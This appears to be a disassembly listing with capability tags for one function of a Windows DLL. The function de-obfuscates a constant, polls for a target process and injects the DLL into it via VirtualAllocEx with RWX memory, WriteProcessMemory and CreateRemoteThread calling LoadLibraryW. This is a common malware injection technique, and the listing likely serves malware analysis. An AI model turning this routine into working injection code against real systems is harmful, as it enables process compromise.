Function at 0x180020a00
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x2c8
mov rax, qword [0x180045408]
xor rax, rsp
mov qword [rsp + 0x2b0], rax
mov dword [rsp + 0x4c], 0x3ff
mov eax, dword [rsp + 0x4c]
add eax, 0x3ff
mov dword [rsp + 0x4c], eax
mov eax, dword [rsp + 0x4c]
sub eax, 0x3ff
mov dword [rsp + 0x4c], eax
mov eax, dword [rsp + 0x4c]
add eax, 0x2d18
mov dword [rsp + 0x4c], eax
mov eax, dword [rsp + 0x4c]
sub eax, 0x272
mov dword [rsp + 0x4c], eax
mov eax, dword [rsp + 0x4c]
add eax, 0x6069
mov dword [rsp + 0x4c], eax
mov eax, dword [rsp + 0x4c]
sub eax, 0x6121
mov dword [rsp + 0x4c], eax
mov eax, dword [rsp + 0x4c]
add eax, 0x4a
mov dword [rsp + 0x4c], eax
mov eax, dword [rsp + 0x4c]
sub eax, 0x5b3c
mov dword [rsp + 0x4c], eax
mov eax, dword [rsp + 0x4c]
add eax, 0x593a
mov dword [rsp + 0x4c], eax
mov eax, dword [rsp + 0x4c]
sub eax, 0x3074
mov dword [rsp + 0x4c], eax
mov eax, dword [rsp + 0x4c]
add eax, 0x5b05
mov dword [rsp + 0x4c], eax
mov eax, dword [rsp + 0x4c]
sub eax, 0x302
mov dword [rsp + 0x4c], eax
mov eax, dword [rsp + 0x4c]
add eax, 0x6651
mov dword [rsp + 0x4c], eax
mov eax, dword [rsp + 0x4c]
sub eax, 0x3e5e
mov dword [rsp + 0x4c], eax
mov edx, dword [rsp + 0x4c]
lea rcx, [0x18003a52c]
call fcn.1800220c4
call fcn.18000a0a0
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x48], 0
mov dword [rsp + 0x50], 0
mov dword [rsp + 0x50], 0
jmp 0x180020b2e
mov eax, dword [rsp + 0x50]
add eax, 1
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0x3c
jge 0x180020b56
call fcn.180020250
mov dword [rsp + 0x48], eax
cmp dword [rsp + 0x48], 0
jne 0x180020b52
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x180020b23
jmp 0x180020b56
cmp dword [rsp + 0x48], 0
je 0x180020cb2
mov r8d, dword [rsp + 0x48]
xor edx, edx
mov ecx, 0x2a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
je 0x180020cb2
mov r9d, gethostbyname
lea r8, [rsp + 0x278]
lea rdx, [sym.XP2PV2_Dll.dll_R0010002]
mov rcx, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_VirtualQueryEx]
mov r8d, 0x104
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x280]
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x104
xor edx, edx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x270], rax
cmp qword [rsp + 0x270], 0
je 0x180020ca7
mov qword [rsp + 0x20], 0
mov r9d, 0x104
lea r8, [rsp + 0x60]
mov rdx, qword [rsp + 0x270]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180020c8b
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rsp + 0x270]
mov qword [rsp + 0x20], rax
mov r9, qword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x2a8], rax
cmp qword [rsp + 0x2a8], 0
je 0x180020c8b
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x2a8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x2a8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x270]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x2b0]
xor rcx, rsp
call fcn.180021d30
add rsp, 0x2c8
ret